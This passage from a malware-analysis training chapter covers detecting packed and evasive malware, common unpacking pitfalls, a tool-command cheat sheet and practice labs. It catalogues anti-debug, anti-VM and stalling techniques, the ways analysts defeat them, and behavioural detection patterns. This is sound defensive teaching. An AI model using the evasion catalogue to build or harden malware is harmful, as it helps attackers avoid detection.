| AMSI buffer containing decoded malicious content | Post-deobfuscation script/.NET content | AMSI |
The strategic point for a defender: do not try to win at the static layer. Let packing happen, and detect at the unavoidable choke points — memory that becomes executable, images that do not match their files, threads that start in nowhere, and scripts observed after they deobfuscate. A memory scan with the PE-sieve/Hollows Hunter engine on a schedule or on EDR trigger catches injected payloads regardless of how the wrapper was built.
12.3 Detecting the anti-analysis behaviour itself
Evasion is itself detectable, because the checks are unusual for benign software:
- Repeated
Sleep/NtDelayExecutionwith very large arguments early in execution (stalling). cpuidwith leaf0x40000000,GetSystemInfoimmediately followed by an early exit,IsDebuggerPresent/CheckRemoteDebuggerPresentclusters — anti-VM/anti-debug fingerprints.- Reads of VM registry keys and driver paths.
GetLastInputInfo/GetCursorPospolling with no UI (interaction gating).
EDR that models API sequences rather than individual calls catches these patterns; a lone IsDebuggerPresent is noise, but IsDebuggerPresent → timing check → cpuid hypervisor check → conditional early exit is a signature of evasive malware.
12.4 Unpacking as a detection pipeline
Mature environments automate the analyst's first hour: detonate every suspicious executable in an instrumented sandbox with sleep-skipping, hooks on the memory and injection APIs, hollows_hunter /loop capturing every materialised payload, and automatic YARA scanning of the dumps against payload-family rules. This inverts the packer's advantage — the wrapper is discarded and the durable payload signature does the work, exactly as the Part 11 lab's final rule was designed to.
Part 13: Common Pitfalls and How to Avoid Them
| Pitfall | Consequence | Fix |
|---|---|---|
| Trusting the DIE packer name | Waste time on upx -d for a fake-UPX crypter |
Treat the name as a hypothesis; verify with entropy + sections + imports |
| Dumping before imports are resolved | Unreadable dump, every call an unnamed pointer | Confirm the IAT is populated (Part 4.7/5.2) before dumping |
Dumping after Fix Dump then re-dumping |
Import fix discarded | Order is Dump → Fix Dump, always |
| Single-stepping through timing checks | Trips the anti-debug delta, sample exits | Run full-speed to the region; only step inside it |
| Enabling ScyllaHide after the entry point ran | Anti-debug already fired | Enable it before the first instruction |
| Concluding "the dump failed" when it is another layer | Give up on a perfect dump | Re-triage every dump; entropy > 7.2 means peel again |
| Treating an obfuscator like a packer | Endless hunting for a non-existent OEP | No stub = no unpack; simplify statically or instrument |
| Using an emulator against anti-emulation | Divergence, wrong results | Switch to real execution in a hardened VM |
| Software breakpoints on self-checksumming code | Sample detects the 0xCC and bails |
Use hardware breakpoints |
| Running FLOSS on an environment-keyed decryptor | Empty results, wrong conclusion | Let the sample decrypt live in the debugger |
| Analysing a hollowing sample in the parent only | Never see the payload run | Attach to / dump the child; use Hollows Hunter |
| Reflective payload invisible to module tools | "There is no injected code" | Scan memory structurally (PE-sieve), not the module list |
Leaving a live IEX/eval while deobfuscating a script |
Accidental execution on the analysis host | Neutralise every sink; work only in the VM; prefer 4104 logs |
Part 14: Final Revision / Summary
The mental model to carry out of this chapter:
- Classify before you act. Packer, crypter, protector, obfuscator, and .NET are five different problems with five different tools. Entropy, section anomalies, and import count classify them in five minutes.
- Stub plus payload. Every packer/crypter is a small on-disk stub reconstructing a payload in memory. Static analysis sees the stub; the payload materialises only at runtime. The dump window is between the transfer-of-control and the payload's first destructive act.
- Finding the OEP has eight standard techniques. ESP trick, allocation-API breakpoints, section-hop memory breakpoints, run trace, tail-jump recognition, payload-API breakpoints, IAT-read breakpoints, and run-then-scan. Choose by the stub's shape; verify by prologue, address, analysis, and strings.
- A dump is broken until fixed. Alignment and — decisively — the import table. Scylla rebuilds the IAT (following redirection stubs); PE-sieve/Hollows Hunter do the same and also find injected/hollowed/reflective payloads that Scylla, tied to one process, cannot.
- Peel one layer, then re-triage. An unreadable dump with entropy > 7.2 is usually a success wrapping another layer, not a failure.
- Hidden strings and imports have named tools. FLOSS emulates decoders to recover strings; API hashing is beaten with a precomputed rainbow table (or HashDB); PEB walking (
fs:[0x30]/gs:[0x60]) marks manual API resolution. - Obfuscators are not unpacked, they are simplified. Junk, opaque predicates, control-flow flattening, MBA, and virtualisation each have a static counter — but instrumenting behaviour (break after the operation, read the result) beats reading the code, and for virtualisation it is often the only realistic route.
- .NET is easier. dnSpyEx decompiles to C# and debugs it; break on
Assembly.Loadto save the payload; de4dot automates the rest. - Anti-analysis has four families, each with a defeat catalogue. ScyllaHide neutralises most anti-debug; VM hardening plus check-patching handles anti-VM; running full-speed beats timing and stalling; real execution beats anti-emulation; following the CPU beats anti-disassembly. The unifying principle: the CPU executes the real code, so follow the CPU.
- Defenders skip the static fight and detect at the memory/behaviour choke points packing cannot avoid — RWX transitions, image/file mismatch, unbacked-memory threads, and post-deobfuscation script logs — turning recovered payload signatures back on the whole family.
Part 15: Cheat Sheet / Quick Reference
Triage
python3 entropy.py sample.exe # whole-file + sliding-window entropy
diec -d -e sample.exe # packer id + per-section entropy
python3 sections.py sample.exe # RWX / rawsize-0 / EP-section anomalies
capa sample.exe # capabilities + packing warningEntropy reading: <6.5 normal code · 7.2–7.8 compressed · 7.8–8.0 encrypted.
Automated unpacking
upx -d -f sample.exe -o out.exe # known packers
unipacker sample.exe # Unicorn emulation, classic stubs
speakeasy -t sample.exe -d dumps/ # emulated behavioural trace + dumpsManual OEP (x64dbg command bar)
F8 ; step over pushad
bph <ESP>, r, 4 ; ESP trick — HW read bp
bp VirtualAlloc / bp VirtualProtect ; allocation-API method
bpm <region>, 0, x ; execute bp on decrypted region
bp CreateFileW / RegSetValueExW / InternetOpenW ; payload-API method
OEP verify: prologue (push ebp;mov ebp,esp / sub rsp,N) · low RVA in code section · Ctrl+A analyses clean · strings appear.
Dump + IAT
Scylla: set OEP -> IAT Autosearch -> Get Imports -> (Advanced: fix redirection) -> Dump -> Fix Dump
pe-sieve64.exe /pid N /imp 3 /shellc /data 3 /threads /dir out
hollows_hunter64.exe /loop /imp 3 /dir out
python3 fixdump.py dump.bin <oep> <imagebase>
Hidden strings / imports
floss --only stack tight decoded -n 6 payload.exe
python3 apihash.py 0x91AFCA54 ... # resolve API hashes (ror13/fnv1a)
# Ghidra: HashDB plugin; rename_api_globals.py to annotateManual-resolution tells: fs:[0x30] (x86 PEB) · gs:[0x60] (x64 PEB) · ror edx,0xD (ROR-13 hasher).
.NET
dnSpyEx: break on Assembly.Load -> save byte[] local = payload
de4dot.exe sample.exe # auto-deobfuscate
de4dot.exe -p cr --strtyp delegate --strtok 0x06000123 sample.exeScripts: replace IEX/eval/exec with output; base64 -EncodedCommand is UTF-16LE; prefer PowerShell 4104 Script Block Logging.
Anti-analysis quick defeats
Anti-debug -> ScyllaHide (enable BEFORE running); HW breakpoints; patch the jz/jnz
Anti-VM -> harden the VM; bp GetSystemInfo/cpuid/RegOpenKeyExW, patch the branch
Timing/stall -> run full-speed; hook Sleep/NtDelayExecution to return fast
Anti-emul -> switch to real hardware execution
Anti-disasm -> follow the CPU (step); Clear+Disassemble at the true target in Ghidra
Part 16: Practice Labs & Resources
Everything here trains the exact skills of this chapter; work them in the isolated VM.
- TryHackMe — "Dissecting PE Headers", "MAL: Malware Introductory", "Advanced Static Analysis": section tables, entropy, packer identification, and the static tells from Parts 1–2.
- HackTheBox — Reversing challenges tagged "unpacking"/"packed" (e.g. Find The Easy Pass as a warm-up, then packed-binary challenges): manual OEP-finding and dumping practice with immediate feedback.
- crackmes.one — filter by "unpacking", "anti-debug", and "VM" tags. The single best volume source for OEP-finding and anti-debug-defeating reps; start at difficulty 2–3 and climb.
- MalwareTech's beginner malware-analysis challenges (the Shellcode and Strings sets): API hashing, PEB walking, and stack-string recovery on realistic samples.
- FLARE-On Challenge (archived past years, free): the authoritative deobfuscation and anti-analysis gauntlet — control-flow flattening, custom VMs, .NET obfuscation, and API hashing all appear. The official write-ups are a masterclass; solve, then read them.
- Practical Malware Analysis labs (Chapters 15–18: "Anti-Disassembly", "Anti-Debugging", "Anti-VM", "Packers and Unpacking"): the canonical exercise set for this entire chapter, with a full answer key.
- OALabs YouTube unpacking walkthroughs and the HashDB plugin/database: watch real manual unpacks of current families; use HashDB against your own hashed-import samples.
- MalwareBazaar (abuse.ch): a live feed of real packed samples for when you are ready to leave the training wheels — only in a properly isolated, snapshot-reverted VM, network controlled.
- VX-Underground collections: curated real-world samples including protector-hardened families, for advanced practice once the fundamentals above are solid.
- Tooling to install and keep sharp: Detect It Easy, x64dbg + ScyllaHide + Scylla, PE-sieve + Hollows Hunter, FLOSS, capa, unipacker, Speakeasy/Qiling, dnSpyEx, de4dot, and Ghidra with the HashDB plugin.
This chapter closes the reverse-engineering toolchain: static analysis, dynamic analysis, disassembly, decompilation, debugging, and now the removal of every layer standing between you and the payload. The next chapter puts all of it together end to end — taking a genuine unknown sample from first receipt through triage, unpacking, behavioural and code analysis, to a complete written analyst report.